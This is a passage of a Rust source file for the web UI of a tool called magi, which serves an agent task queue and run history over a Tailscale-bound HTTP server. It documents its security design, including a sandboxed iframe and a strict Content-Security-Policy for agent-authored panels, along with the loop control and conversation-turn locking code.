Skip to main content

magi/
web.rs

1//! The web UI: magi's queue and run history, readable from a phone.
2//!
3//! The terminal is the wrong surface for the two things an operator actually
4//! does between runs — file a task and check whether the last competition
5//! landed. Both happen away from the desk, so they get an HTTP surface: a
6//! handful of JSON routes and three embedded files.
7//!
8//! # One binary
9//!
10//! `index.html`, `app.css` and `app.js` are compiled in with [`include_str!`].
11//! There is no `--assets-dir` and no filesystem fallback, because a UI that
12//! reads its own front end from disk breaks the moment the binary is copied
13//! somewhere else — which is exactly what `cargo install magi-cli` does. No
14//! JS toolchain, no CDN, no remote font: everything the phone needs arrives
15//! from this process.
16//!
17//! # No authentication
18//!
19//! There is none, deliberately, and the startup log says so. The tailnet is
20//! the security boundary: `--bind auto` resolves to this machine's Tailscale
21//! address, so the UI is reachable from the operator's own devices and from
22//! nothing else. Anyone who can open the URL can file and hold tasks, which is
23//! why binding to `0.0.0.0` is not offered and why the fallback when Tailscale
24//! is missing is loopback rather than every interface.
25//!
26//! # Change notification
27//!
28//! A phone must not poll a full run list on a mobile link. `GET /api/events`
29//! is a server-sent stream carrying nothing but two revision numbers — the
30//! newest modification time in the queue and under the runs directory — so the
31//! client refetches only what moved. The browser's own SSE reconnection covers
32//! a sleeping phone; there is no session to lose.
33//!
34//! # Reading state must never take the server down
35//!
36//! A corrupt `run.json` is skipped in the list and explained with a 500 on the
37//! detail route. No handler unwraps a filesystem or parse result: a single bad
38//! file left by a killed run would otherwise turn the whole history into a
39//! blank page.
40//!
41//! # Agent-authored HTML, rendered anyway
42//!
43//! Everything else here refuses to put API data into the document: `app.js`
44//! builds nodes and sets `textContent`, and even an href from a run record is
45//! laundered first. A confirmation panel breaks that rule on purpose - an
46//! agent asking the owner to approve a merge needs a diff and a table, not one
47//! line of prose - and the only reason it is acceptable is that the panel is
48//! never part of this document.
49//!
50//! It is served by [`question_panel`] and [`question_asset`] and rendered in an
51//! `<iframe sandbox>` carrying exactly `allow-popups` and
52//! `allow-popups-to-escape-sandbox`: no `allow-scripts`, no
53//! `allow-same-origin`. So no script in a panel runs, and the frame cannot
54//! reach the parent document, the cookie jar or `localStorage`. On top of that
55//! both routes send [`PANEL_CSP`], which denies every network destination, so a
56//! panel cannot phone home through a remote image or a beacon either - the two
57//! things it may load, images and inline CSS, are the two things free
58//! formatting actually needs. Assets come from the question's own directory and
59//! never from the network, and their content types come from a closed
60//! whitelist, so an agent cannot get markup rendered outside the frame by
61//! naming a file `.html`.
62//!
63//! # A conversation turn is not a filesystem read
64//!
65//! Every other route here is disk work, which is why [`blocking`] exists.
66//! `POST /api/talks/{id}/say` is the exception: it spawns an agent CLI and
67//! waits tens of seconds for a sentence. It is a plain `await` holding no lock
68//! and no executor thread, and concurrent turns on one talk are refused rather
69//! than queued - see [`Ui::begin_talk_turn`].
70//!
71//! # The loop runs here
72//!
73//! `magi web` runs the queue loop in this process, started and stopped from
74//! `/api/loop`. That is the point of the whole surface: a task filed from a
75//! phone with nobody around to type `magi serve` is a task that sits in the
76//! queue until someone walks back to the machine.
77//!
78//! It is a tokio task holding a [`daemon::Stop`], not a child process. There
79//! is no pid file of this module's own and nothing to supervise - a child
80//! would need reaping, a second copy of the daemon's retry policy, and a
81//! story for what happens when `magi web` dies with the loop still running.
82//! `<home>/daemon.json`, which the loop itself writes, stays the only
83//! cross-process signal, and it is how this process notices that the
84//! operator's own `magi serve` already owns the loop and refuses to start a
85//! second one that would fight it for claims.
86//!
87//! Stopping is cooperative and therefore not instant. A run in flight is
88//! finished first, for the reason [`daemon::serve`] gives: killing the graph
89//! mid-node leaves worktrees, branches and agent sessions behind and throws
90//! away every agent call already paid for. `POST /api/loop` sets the flag and
91//! answers immediately rather than waiting, because the wait is measured in
92//! tens of minutes and the operator is holding a phone.
93
94#[cfg(test)]
95pub(crate) mod request_cost;
96
97use std::collections::{HashMap, HashSet};
98use std::convert::Infallible;
99use std::net::{IpAddr, Ipv4Addr, SocketAddr};
100use std::path::{Path as FsPath, PathBuf};
101use std::pin::Pin;
102use std::sync::{Arc, Mutex, MutexGuard, PoisonError};
103use std::time::Duration;
104use tokio::sync::Notify;
105
106use anyhow::{Context, Result};
107use axum::Json;
108use axum::Router;
109use axum::body::Bytes;
110use axum::extract::rejection::JsonRejection;
111use axum::extract::{DefaultBodyLimit, Path, Query, State};
112use axum::http::{HeaderMap, HeaderValue, StatusCode, header};
113use axum::response::sse::{Event, KeepAlive, Sse};
114use axum::response::{IntoResponse, Response};
115use axum::routing::{get, post, put};
116use jiff::Timestamp;
117use serde::{Deserialize, Serialize};
118use tokio_stream::StreamExt as _;
119use tokio_stream::wrappers::ReceiverStream;
120
121use crate::agent;
122use crate::ask::{self, Answer, Question, Questions};
123use crate::config::{AgentKind, Config, Update, UpdateMode};
124use crate::md;
125use crate::notices::{Notice, Notices};
126use crate::persona;
127use crate::persona_icon;
128use crate::proc::Quiet as _;
129use crate::queue::{Queue, Source, Task, TaskStatus, title_from};
130use crate::run::{RunState, RunStatus};
131use crate::talk::{Talk, Talks};
132use crate::{daemon, git, report, repos, run, settings, stats, talk, updater};
133
134/// Default port. Chosen high and memorable; nothing else in the fleet uses it.
135pub const DEFAULT_PORT: u16 = 7878;
136
137/// How often the change stream restats the queue and the runs directory.
138const POLL: Duration = Duration::from_secs(1);
139
140/// Keep-alive interval for the change stream. Phones and intermediaries drop
141/// an idle connection within a minute; a comment every fifteen seconds keeps
142/// the stream alive without waking the radio often enough to matter.
143const KEEPALIVE: Duration = Duration::from_secs(15);
144
145/// Ceiling on how long [`run_update_recheck`] ever sleeps between wake-ups.
146///
147/// A fixed period this long would not track a `[update] interval` shorter
148/// than itself: an operator who set `interval = "1m"` to make the deck
149/// notice a release within a minute would still wait up to fifteen of them
150/// for the next wake-up to even ask [`updater::Checker::should_check`].
151/// [`recheck_poll_period`] scales the sleep with the configured interval
152/// instead, and this is only its ceiling - reached at the default interval
153/// of a day, where waking any more often would just spend cycles asking a
154/// question that stays "no" for hours.
155const UPDATE_RECHECK_POLL_MAX: Duration = Duration::from_secs(15 * 60);
156
157/// Floor on the same, so a very short `[update] interval` cannot spin
158/// [`run_update_recheck`] in a near-busy loop.
159const UPDATE_RECHECK_POLL_MIN: Duration = Duration::from_secs(30);
160
161/// Runs returned when the client does not ask, and the ceiling if it asks for
162/// more. The cap exists because the list handler parses every `run.json` it
163/// returns, and a phone cannot render two thousand rows anyway.
164const LIST_DEFAULT: usize = 50;
165/// Upper bound for `?limit=`.
166const LIST_MAX: usize = 500;
167
168/// Width of a generated task title, matching what the CLI uses.
169const TITLE_MAX: usize = 72;
170
171/// Per-file cap for an attachment upload.
172///
173/// Enforced twice: axum's own body limit is raised one byte above this, only
174/// on the two attachment `POST` routes (see the router - every other route
175/// keeps the crate-wide default), so an oversize body is still read far
176/// enough to answer with our own message below rather than axum's generic
177/// one; this constant is what that message and the boundary check actually
178/// compare against.
179const ATTACHMENT_MAX_BYTES: usize = 10 * 1024 * 1024;
180
181/// The image types an attachment upload accepts - a closed whitelist, the
182/// same posture [`asset_content_type`] takes for panel assets and for the
183/// same reason: SVG is excluded on purpose because it is active content
184/// (it may carry `<script>`) and not merely a picture, so it never appears
185/// here even though `image/svg+xml` is a real IANA type.
186const ATTACHMENT_MIME_WHITELIST: [&str; 4] = ["image/png", "image/jpeg", "image/gif", "image/webp"];
187
188/// Header carrying the operator's own filename. Free text, stored only for
189/// display - see [`talk::Attachment::name`]'s doc on why it never
190/// contributes to a path.
191const FILENAME_HEADER: &str = "x-filename";
192
193/// The header that makes serving agent-authored HTML defensible, sent by both
194/// panel routes and asserted verbatim by a test.
195///
196/// Read it as a list of things a hostile panel cannot do. `default-src 'none'`
197/// denies every fetch destination that is not re-allowed below, which is all of
198/// them except images and fonts; `img-src 'self' data:` means an image comes
199/// from magi's own asset route or from the document itself, so a panel cannot
200/// signal an outside server by pointing an `<img>` at it - the classic
201/// exfiltration channel for markup that cannot run script. `style-src
202/// 'unsafe-inline'` is the one permission granted, because inline CSS is what
203/// free formatting means here and a style sheet cannot make a request that
204/// `default-src` has not already allowed. `base-uri 'none'` stops a `<base>`
205/// tag re-pointing the relative asset URLs somewhere else, `form-action 'none'`
206/// stops a form posting the owner's decision to a third party, and
207/// `frame-ancestors 'self'` stops another site framing the panel to phish with
208/// it.
209///
210/// There is deliberately no `script-src`: `default-src 'none'` already covers
211/// it, and the sandboxed frame carries no `allow-scripts` either, so script is
212/// denied twice over. Weakening any directive here is the difference between a
213/// panel the owner reads and a page that can talk to the tailnet, which is why
214/// the test compares the whole string rather than looking for a substring.
215const PANEL_CSP: &str = "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
216                         font-src data:; base-uri 'none'; form-action 'none'; \
217                         frame-ancestors 'self'";
218
219const INDEX_HTML: &str = include_str!("../assets/ui/index.html");
220const APP_CSS: &str = include_str!("../assets/ui/app.css");
221const APP_JS: &str = include_str!("../assets/ui/app.js");
222
223/// Which address to listen on.
224#[derive(Debug, Clone, Copy, PartialEq, Eq)]
225pub enum Bind {
226    /// Ask Tailscale, and fall back to loopback with a warning.
227    Auto,
228    /// An address the operator named.
229    Addr(IpAddr),
230}
231
232impl std::str::FromStr for Bind {
233    type Err = String;
234
235    /// `auto`, or anything [`IpAddr`] accepts. Parsing lives with the type so
236    /// the CLI can take `--bind` straight into it: the one spelling of
237    /// `auto` that matters is the one this function knows.
238    fn from_str(s: &str) -> std::result::Result<Self, Self::Err> {
239        if s.eq_ignore_ascii_case("auto") {
240            return Ok(Self::Auto);
241        }
242        s.parse()
243            .map(Self::Addr)
244            .map_err(|_| format!("expected `auto` or an IP address, got `{s}`"))
245    }
246}
247
248impl std::fmt::Display for Bind {
249    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
250        match self {
251            Self::Auto => f.write_str("auto"),
252            Self::Addr(addr) => write!(f, "{addr}"),
253        }
254    }
255}
256
257/// How to serve.
258#[derive(Debug, Clone)]
259pub struct Opts {
260    /// Address to listen on.
261    pub bind: Bind,
262    /// Port to listen on.
263    pub port: u16,
264    /// Repository used for tasks posted without one.
265    pub repo: PathBuf,
266    /// Print the URL on its own line for a caller that wants to hand it to a
267    /// browser. magi never launches one itself.
268    pub open: bool,
269    /// Merge mode override for the loop this process runs (`none`, `local`,
270    /// `pr`); `None` leaves it to each repository's own config.
271    ///
272    /// The same override `magi serve --merge` takes, and here for the same
273    /// reason: `magi web` is now the thing that runs the loop, so an operator
274    /// who wants this session's runs to open pull requests has to be able to
275    /// say so without going back to the command they no longer type.
276    pub merge: Option<String>,
277}
278
279impl Default for Opts {
280    fn default() -> Self {
281        Self {
282            bind: Bind::Auto,
283            port: DEFAULT_PORT,
284            repo: PathBuf::from("."),
285            open: false,
286            merge: None,
287        }
288    }
289}
290
291/// Everything the handlers touch.
292///
293/// The queue, the runs directory and the magi home are fields rather than
294/// process-global lookups so a test drives the real router against a temp
295/// directory instead of the operator's own history.
296#[derive(Debug, Clone)]
297pub struct Ui {
298    queue: Queue,
299    questions: Questions,
300    /// `<home>/notifications`, the bell's own store. Derived from `home` in
301    /// [`Ui::new`] so no constructor signature had to grow.
302    notices: Notices,
303    talks: Talks,
304    runs: PathBuf,
305    home: PathBuf,
306    repo: PathBuf,
307    /// Where the runs' worktrees live, for the health disk figures.
308    ///
309    /// Spelled independently of [`crate::run::default_worktree_root`] so the
310    /// test servers can point it at their own temp directory: the health route
311    /// sizes it, and sizing the operator's real `~/wt/magi` from a test would
312    /// be measuring the machine instead of the server.
313    worktrees_root: PathBuf,
314    /// Talks with an agent turn in flight right now.
315    ///
316    /// In-process and therefore not durable, which is correct: it guards
317    /// against two taps on one phone and two phones on one tailnet, both of
318    /// which are this process's own concurrency. A second `magi web` would not
319    /// see it, and a second `magi web` on the same home is already a
320    /// misconfiguration the queue's claims would catch first.
321    talk_turns: Arc<Mutex<TalkTurns>>,
322    /// Held by `POST /api/upgrade` from its busy-stage check until the first
323    /// progress record is written, so two taps cannot both start an upgrade.
324    /// After that `upgrade.json` carries the exclusion.
325    upgrade_gate: Arc<tokio::sync::Mutex<()>>,
326    /// Set once an upgrade task is spawned, cleared when it fails. Keeps the
327    /// exclusion in memory for when `upgrade.json` could not be written.
328    upgrade_spawned: Arc<std::sync::atomic::AtomicBool>,
329    /// Request failures before progress exists; never overwrite upgrade.json.
330    upgrade_request_error: Arc<Mutex<Option<UpgradeRequestFailure>>>,
331    /// Runs this process is resuming right now.
332    ///
333    /// Separate from `talk_turns` because a run and a talk are different
334    /// things to hold, and a resume is far more expensive to start twice: it
335    /// re-asks agent seats. Same reasoning about scope as `talk_turns` — this
336    /// guards two taps and two phones, which is this process's own
337    /// concurrency.
338    resuming: Arc<Mutex<HashSet<String>>>,
339    /// The last scan of `[repos] roots`, and when it happened. Shared across
340    /// requests so polling `GET /api/repos` repeatedly does not repeat the
341    /// filesystem walk every time - see [`repos::Cache`].
342    repos_cache: repos::Cache,
343    /// The machine-config file the settings screen reads and writes: always
344    /// [`Config::machine_layer`], never anything a request names. A field so a
345    /// test can point it at its own temp directory instead of the operator's.
346    machine_config: Option<PathBuf>,
347    /// Merge mode override handed to the loop this process starts.
348    merge: Option<String>,
349    /// The loop this process is running, if it is running one.
350    looping: Arc<Mutex<LoopState>>,
351    /// How a loop is actually started.
352    ///
353    /// A field rather than a direct call to [`daemon::serve_until`], because
354    /// the real loop resolves its queue and its status file through the
355    /// process-global magi home and claims whatever it finds there. A test
356    /// that started it would reach straight past its own temp directory into
357    /// the operator's live queue, overwrite the status file of the `magi
358    /// serve` that owns it, and spend real agent quota on a real competition.
359    /// What the routes have to get right is the bookkeeping, so the tests
360    /// drive the routes against a loop that only starts and stops; production
361    /// is [`launch_daemon`] and nothing reassigns it.
362    launch: Launch,
363    /// A test-only stop point inside `talk_say`'s busy branch. See
364    /// [`BusyQueueGate`].
365    #[cfg(test)]
366    busy_queue_gate: Arc<Mutex<Option<BusyQueueGate>>>,
367}
368
369/// A one-shot stop point the busy branch's queued-draft write can be made to
370/// pause at, right before [`talk::queue`] runs.
371///
372/// Exists because a test cannot otherwise pin *when*, relative to the turn
373/// slot being freed, that write happens: `blocking` runs it on
374/// `spawn_blocking`, whose `JoinHandle` resolves in a single poll if the job
375/// already finished, so counting polls on the handler future to park it at a
376/// particular `.await` is a guess about scheduling, not a fact about it - see
377/// `a_dropped_handler_future_after_queueing_still_drains_the_draft`, which
378/// used to do exactly that and paid for it with an occasional "async fn
379/// resumed after completion" panic under load.
380///
381/// `reached` fires the instant the write is about to run, so a test waits for
382/// a real event instead of a poll count. `release` then blocks the write
383/// until the test says to continue; it is a `std::sync::mpsc::Receiver`
384/// rather than an async channel because this all happens inside the
385/// `spawn_blocking` closure the write already runs on, off any runtime
386/// worker, so blocking here costs nothing the write was not already going to
387/// cost.
388#[cfg(test)]
389struct BusyQueueGate {
390    reached: tokio::sync::oneshot::Sender<()>,
391    release: std::sync::mpsc::Receiver<()>,
392}
393
394#[cfg(test)]
395impl std::fmt::Debug for BusyQueueGate {
396    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
397        f.debug_struct("BusyQueueGate").finish_non_exhaustive()
398    }
399}
400
401impl Ui {
402    /// A server over explicit paths.
403    pub fn new(
404        queue: Queue,
405        questions: Questions,
406        talks: Talks,
407        runs: PathBuf,
408        home: PathBuf,
409        repo: PathBuf,
410    ) -> Self {
411        Self {
412            queue,
413            questions,
414            notices: Notices::at(home.join("notifications")),
415            talks,
416            runs,
417            home,
418            repo,
419            // The default location, overridden by `with_worktrees_root` - a
420            // builder step rather than a ninth parameter, for the reason
421            // `with_merge` gives.
422            worktrees_root: run::default_worktree_root(),
423            talk_turns: Arc::default(),
424            upgrade_gate: Arc::default(),
425            upgrade_spawned: Arc::default(),
426            upgrade_request_error: Arc::default(),
427            resuming: Arc::default(),
428            repos_cache: repos::Cache::new(),
429            machine_config: Config::machine_layer(),
430            merge: None,
431            looping: Arc::default(),
432            launch: launch_daemon,
433            #[cfg(test)]
434            busy_queue_gate: Arc::default(),
435        }
436    }
437
438    /// The operator's own state: `<home>/queue`, `<home>/questions`,
439    /// `<home>/talks`, `<home>/runs`.
440    pub fn open(repo: PathBuf) -> Self {
441        Self::new(
442            Queue::open(),
443            Questions::open(),
444            Talks::open(),
445            run::runs_root(),
446            run::home(),
447            repo,
448        )
449    }
450
451    /// The merge mode the loop should use, as the command line gave it.
452    ///
453    /// A builder step rather than a seventh parameter on [`Ui::new`], because
454    /// the override is a property of how this process was invoked and not of
455    /// where its state lives - which is all the tests that build a `Ui` by
456    /// hand are saying.
457    #[must_use]
458    pub fn with_merge(mut self, merge: Option<String>) -> Self {
459        self.merge = merge;
460        self
461    }
462
463    /// The machine-config file the settings screen writes, when it is not
464    /// [`Config::machine_layer`] (tests).
465    #[cfg(test)]
466    #[must_use]
467    fn with_machine_config(mut self, path: Option<PathBuf>) -> Self {
468        self.machine_config = path;
469        self
470    }
471
472    /// Where the runs' worktrees live, when it is not the default.
473    ///
474    /// The health view sizes this directory, so a test that leaves it at the
475    /// default would be measuring the operator's own machine.
476    #[must_use]
477    pub fn with_worktrees_root(mut self, root: PathBuf) -> Self {
478        self.worktrees_root = root;
479        self
480    }
481
482    /// Point the loop at something other than [`launch_daemon`].
483    ///
484    /// Test-only, and deliberately: see [`Ui::launch`] for why no test in
485    /// this crate may start the real loop.
486    #[cfg(test)]
487    #[must_use]
488    fn with_launch(mut self, launch: Launch) -> Self {
489        self.launch = launch;
490        self
491    }
492
493    /// Install a [`BusyQueueGate`] for the next pass through the busy
494    /// branch's queued-draft write, replacing any earlier one.
495    ///
496    /// A setter on `&self` rather than a `with_*` builder consumed once,
497    /// because a test that drives the busy branch more than once (as
498    /// `a_dropped_handler_future_after_queueing_still_drains_the_draft` does,
499    /// to build confidence the interleaving is handled deterministically and
500    /// not just on a lucky run) needs a fresh channel pair each time, on the
501    /// one `Ui` it already built its temp directories around.
502    #[cfg(test)]
503    fn set_busy_queue_gate(&self, gate: BusyQueueGate) {
504        *self
505            .busy_queue_gate
506            .lock()
507            .unwrap_or_else(PoisonError::into_inner) = Some(gate);
508    }
509
510    /// The loop's state, for [`serve`]'s own way out.
511    fn looping(&self) -> Arc<Mutex<LoopState>> {
512        Arc::clone(&self.looping)
513    }
514
515    /// Start the loop in this process, or say who already has one.
516    ///
517    /// `foreign` is passed in rather than read here so that one request makes
518    /// one judgement about who owns the loop: reading the status file again
519    /// inside this function could refuse a start for a daemon the same
520    /// response then reports as gone.
521    fn start_loop(&self, foreign: Option<Foreign>) -> ApiResult<()> {
522        if let Some(other) = foreign {
523            return Err(ApiError::conflict(format!(
524                "{} is already running the loop, so this one will not start a \
525                 second: two loops on one queue race for the same claims and \
526                 burn the agent quota twice over. Stop it where it was \
527                 started.",
528                other.who()
529            )));
530        }
531        let mut state = self.lock_loop();
532        if state.live.as_ref().is_some_and(Live::alive) {
533            return Err(ApiError::conflict(format!(
534                "this magi web process (pid {}) is already running the loop",
535                std::process::id()
536            )));
537        }
538
539        let stop = daemon::Stop::new();
540        // The CLI's own defaults for everything the UI has no opinion about:
541        // one poll interval and one retry budget, so a loop started from a
542        // phone behaves exactly like the `magi serve` it replaces.
543        let opts = daemon::Opts {
544            repo: self.repo.clone(),
545            merge: self.merge.clone(),
546            // Whatever this `Ui` already reports worktree sizes and folds
547            // against (see `with_worktrees_root`) is what the loop it starts
548            // must reclaim orphaned worktrees under too - two different
549            // opinions about where the worktree bay is would leave the
550            // janitor pass reclaiming a directory nothing else on this
551            // process is even looking at.
552            worktrees_root: Some(self.worktrees_root.clone()),
553            ..daemon::Opts::default()
554        };
555        let launch = self.launch;
556        let looping = Arc::clone(&self.looping);
557        let handle = tokio::spawn({
558            let opts = opts.clone();
559            let stop = stop.clone();
560            async move {
561                let failure = match launch(opts, stop).await {
562                    Ok(()) => None,
563                    Err(e) => Some(format!("{e:#}")),
564                };
565                match &failure {
566                    Some(why) => tracing::error!("the loop stopped: {why}"),
567                    None => tracing::info!("the loop stopped"),
568                }
569                // Recorded by the task itself rather than reaped by whichever
570                // request happens next, so `loop_rev` moves the moment the
571                // loop ends and a phone with the change stream open learns
572                // that it did. Clearing `live` drops this task's own handle,
573                // which only detaches it, and is the last thing it does.
574                let mut state = lock_or_recover(&looping);
575                state.live = None;
576                state.last_error = failure;
577                state.rev += 1;
578            }
579        });
580        tracing::info!(
581            "the loop is now running in this process: repo {}, merge {}",
582            opts.repo.display(),
583            opts.merge.as_deref().unwrap_or("as the config says")
584        );
585        state.live = Some(Live { stop, handle, opts });
586        // A fresh start is not the place to keep showing why the last one
587        // died; the operator has read it and pressed the button anyway.
588        state.last_error = None;
589        state.rev += 1;
590        Ok(())
591    }
592
593    /// Ask the loop to stop, without waiting for it to get there.
594    ///
595    /// Idempotent: a second tap on stop is not an error, because the first one
596    /// leaves the loop running for as long as the run in flight takes and the
597    /// operator has no way to tell a slow stop from a lost one.
598    fn stop_loop(&self, foreign: Option<Foreign>, park: bool) -> ApiResult<()> {
599        if let Some(other) = foreign {
600            return Err(ApiError::conflict(format!(
601                "the loop belongs to {}, and this process cannot stop it - \
602                 stop it where it was started. A button that silently did \
603                 nothing would be worse than this refusal.",
604                other.who()
605            )));
606        }
607        let mut state = self.lock_loop();
608        // An operator who stops the loop has decided it stays stopped, even
609        // across an upgrade that was already in flight.
610        if !park {
611            state.resume_after_handover = false;
612        }
613        let Some(live) = state.live.as_ref() else {
614            return Ok(());
615        };
616        // A park upgrades a stop that has already been asked for: the
617        // operator who tapped "stop" and then realised the run has an hour
618        // left must not have to restart the loop to change their mind.
619        if live.stop.stopped() && (!park || live.stop.parking()) {
620            return Ok(());
621        }
622        if park {
623            live.stop.park(crate::run::ParkCause::Operator);
624            tracing::info!("the loop was asked to park; the run stops at its next node boundary");
625        } else {
626            live.stop.stop();
627            tracing::info!("the loop was asked to stop; a run in flight is finished first");
628        }
629        state.rev += 1;
630        Ok(())
631    }
632
633    /// The loop as both `/api/loop` and `/api/health` report it.
634    ///
635    /// `reading` is the caller's single read of `<home>/daemon.json`, because
636    /// health answers with this view *and* the daemon object beside it: one
637    /// read per response is what stops a single answer naming a foreign owner
638    /// in one field and calling the loop free in the other.
639    fn loop_view(&self, reading: Option<daemon::Reading>) -> LoopView {
640        let state = self.lock_loop();
641        // A loop that panicked never recorded its own end, so the handle -
642        // not the presence of the record - is what "running" means.
643        let live = state.live.as_ref().filter(|live| live.alive());
644        LoopView {
645            running: live.is_some(),
646            stopping: live.is_some_and(|live| live.stop.finishing()),
647            parking: live.is_some_and(|live| live.stop.parking()),
648            owned: live.is_some(),
649            repo: live
650                .map_or(&self.repo, |live| &live.opts.repo)
651                .display()
652                .to_string(),
653            merge: live.map_or_else(|| self.merge.clone(), |live| live.opts.merge.clone()),
654            last_error: state.last_error.clone(),
655            daemon: DaemonView::of(reading),
656        }
657    }
658
659    /// Start the loop in a successor whose predecessor was running one.
660    ///
661    /// Goes through the same path as the UI's start-loop action. A refusal
662    /// (another process owns the loop) is logged and left in `last_error`;
663    /// the loop then simply stays stopped.
664    fn resume_after_handover(&self, resume: bool) -> bool {
665        if !resume {
666            return false;
667        }
668        let foreign = Foreign::of(daemon::read_status(&self.home).as_ref());
669        match self.start_loop(foreign) {
670            Ok(()) => true,
671            Err(e) => {
672                let why = format!(
673                    "the loop could not be resumed after the upgrade: {}",
674                    e.message
675                );
676                tracing::warn!("{why}");
677                let mut state = self.lock_loop();
678                state.last_error = Some(why);
679                state.rev += 1;
680                false
681            }
682        }
683    }
684
685    /// Take the loop lock. See [`lock_or_recover`] for why it cannot fail.
686    fn lock_loop(&self) -> MutexGuard<'_, LoopState> {
687        lock_or_recover(&self.looping)
688    }
689
690    /// Whether this process currently owns the agent turn for `id`.
691    ///
692    /// This deliberately describes only the in-memory claim made by
693    /// [`Ui::begin_talk_turn`]. It is not conversation data and therefore is
694    /// never persisted with a [`Talk`].
695    fn is_thinking(&self, id: &str) -> bool {
696        self.talk_turns
697            .lock()
698            .is_ok_and(|turns| turns.live.contains(id))
699            // Another process (the CLI) can hold the turn through the
700            // on-disk lease.
701            || self.talks.turn_held(id)
702    }
703
704    /// Claim the right to run one turn in a talk, or report that it is busy.
705    ///
706    /// A talk is strictly turn-based: the agent is resumed with the
707    /// conversation it already has, so two turns running at once would resume
708    /// the same session twice and append their answers in whatever order the
709    /// two CLIs finished in. The operator would come back to a transcript
710    /// with two half-turns interleaved, which is unreadable and, worse,
711    /// unfixable - there is no undo for a persisted turn.
712    ///
713    /// A busy result is queued as a durable draft by [`talk_say`], rather than
714    /// starting a second CLI invocation for the same session.
715    ///
716    /// The lock is a `std::sync::Mutex` and never crosses an `await`: it is
717    /// taken to test-and-insert and released before the agent is spawned. The
718    /// returned guard removes the id on drop, which is what makes a panicking
719    /// handler or a phone that walks out of range leave the talk usable - axum
720    /// drops the handler future when the client disconnects, and without the
721    /// guard that talk would be wedged until the server restarted.
722    fn begin_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
723        self.claim_talk_turn(id, false)
724    }
725
726    /// Claim a turn after durably queueing a draft, or notify its current
727    /// owner that a drainer must recheck before it releases the slot.
728    fn begin_queued_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
729        self.claim_talk_turn(id, true)
730    }
731
732    fn claim_talk_turn(&self, id: &str, queued: bool) -> ApiResult<Option<TalkTurnGuard>> {
733        let mut live = self
734            .talk_turns
735            .lock()
736            .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
737        if live.parking {
738            if queued {
739                // The draft is already durable; nothing may drain it until
740                // the successor is up, so the caller sees a busy slot.
741                *live.queued.entry(id.to_owned()).or_default() += 1;
742                return Ok(None);
743            }
744            return Err(ApiError::conflict(UPGRADE_IN_PROGRESS));
745        }
746        let inserted = live.live.insert(id.to_owned());
747        // The on-disk lease is the cross-process half of the gate. Taken
748        // second, and undone if lost, so `live` never claims a turn the lease
749        // refused.
750        let lease = if inserted {
751            match self.talks.claim_turn(id) {
752                Ok(Some(lease)) => Some(lease),
753                Ok(None) => {
754                    live.live.remove(id);
755                    None
756                }
757                Err(e) => {
758                    live.live.remove(id);
759                    return Err(ApiError::from(e));
760                }
761            }
762        } else {
763            None
764        };
765        if lease.is_none() {
766            if queued {
767                // A queued write has landed before this busy check.
768                // `drain_loop` uses this generation to recheck after its
769                // off-thread disk read, so it cannot release a turn between
770                // this check and the write.
771                *live.queued.entry(id.to_owned()).or_default() += 1;
772            }
773            return Ok(None);
774        }
775        Ok(Some(TalkTurnGuard {
776            talk: id.to_owned(),
777            turns: Arc::clone(&self.talk_turns),
778            released: false,
779            lease,
780        }))
781    }
782
783    /// Decide whether a free talk may start a new immediate turn while its
784    /// claim lock is held. A persisted draft without an owner is recovery
785    /// state, not a busy turn: two simultaneous `/say` requests must both
786    /// leave it untouched rather than one of them appending to it.
787    fn begin_talk_turn_unless_pending(&self, id: &str) -> ApiResult<TalkTurnStart> {
788        let mut live = self
789            .talk_turns
790            .lock()
791            .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
792        // Same answer as a running turn: the text is queued as a draft.
793        if live.parking || live.live.contains(id) {
794            return Ok(TalkTurnStart::Busy);
795        }
796        let Some(lease) = self.talks.claim_turn(id).map_err(ApiError::from)? else {
797            return Ok(TalkTurnStart::Foreign);
798        };
799        // A refused `Pending` below drops the lease again.
800        let talk = self.talks.get(id).map_err(ApiError::from)?;
801        if !talk.pending.is_empty() || !talk.pending_attachments.is_empty() {
802            return Ok(TalkTurnStart::Pending);
803        }
804        live.live.insert(id.to_owned());
805        Ok(TalkTurnStart::Claimed(TalkTurnGuard {
806            talk: id.to_owned(),
807            turns: Arc::clone(&self.talk_turns),
808            released: false,
809            lease: Some(lease),
810        }))
811    }
812
813    fn queued_generation(&self, id: &str) -> u64 {
814        let live = self
815            .talk_turns
816            .lock()
817            .unwrap_or_else(PoisonError::into_inner);
818        live.queued.get(id).copied().unwrap_or(0)
819    }
820
821    /// The shared turn slots, for the upgrade hand-over to wait on.
822    fn turns(&self) -> Arc<Mutex<TalkTurns>> {
823        Arc::clone(&self.talk_turns)
824    }
825
826    /// Park the loop for an upgrade, and report the run that is parking.
827    ///
828    /// A park rather than a stop: a stop waits out the whole competition, and
829    /// not waiting is the point of upgrading from a phone. `None` means
830    /// nothing was in flight, which is worth saying so the operator is not
831    /// told a run is parking when none is.
832    fn park_for_upgrade(&self, from: &str, to: Option<&str>) -> ApiResult<Option<String>> {
833        let parking = {
834            let mut state = self.lock_loop();
835            // Decided here, before the park: by the time the handover fires
836            // an idle loop has already seen the park and ended, so `live`
837            // would read as "was never running". A loop the operator had
838            // already stopped stays stopped.
839            //
840            // Sticky: a second upgrade request finds the loop already
841            // stopping because of the first one's park, and must not read
842            // that as the operator having stopped it. Only an explicit stop
843            // or a failed update clears an earlier intent.
844            let resume = state.resume_after_handover
845                || state
846                    .live
847                    .as_ref()
848                    .is_some_and(|live| live.alive() && !live.stop.stopped());
849            state.resume_after_handover = resume;
850            let Some(live) = state.live.as_ref() else {
851                return Ok(None);
852            };
853            let busy = live.stop.busy_now();
854            live.stop.park(crate::run::ParkCause::Upgrade {
855                from: from.to_owned(),
856                to: to.map(|t| t.trim_start_matches('v').to_owned()),
857            });
858            state.rev += 1;
859            busy
860        };
861        Ok(if parking {
862            // More than one run can be in flight now (see
863            // `Config::daemon.max_concurrent_runs`); this answer names one of
864            // them so the operator sees a park actually happened, not every
865            // run a park now asks to stop at its next boundary.
866            daemon::current_work(&self.home, jiff::Timestamp::now())
867                .into_iter()
868                .next()
869                .map(|c| c.run)
870        } else {
871            None
872        })
873    }
874
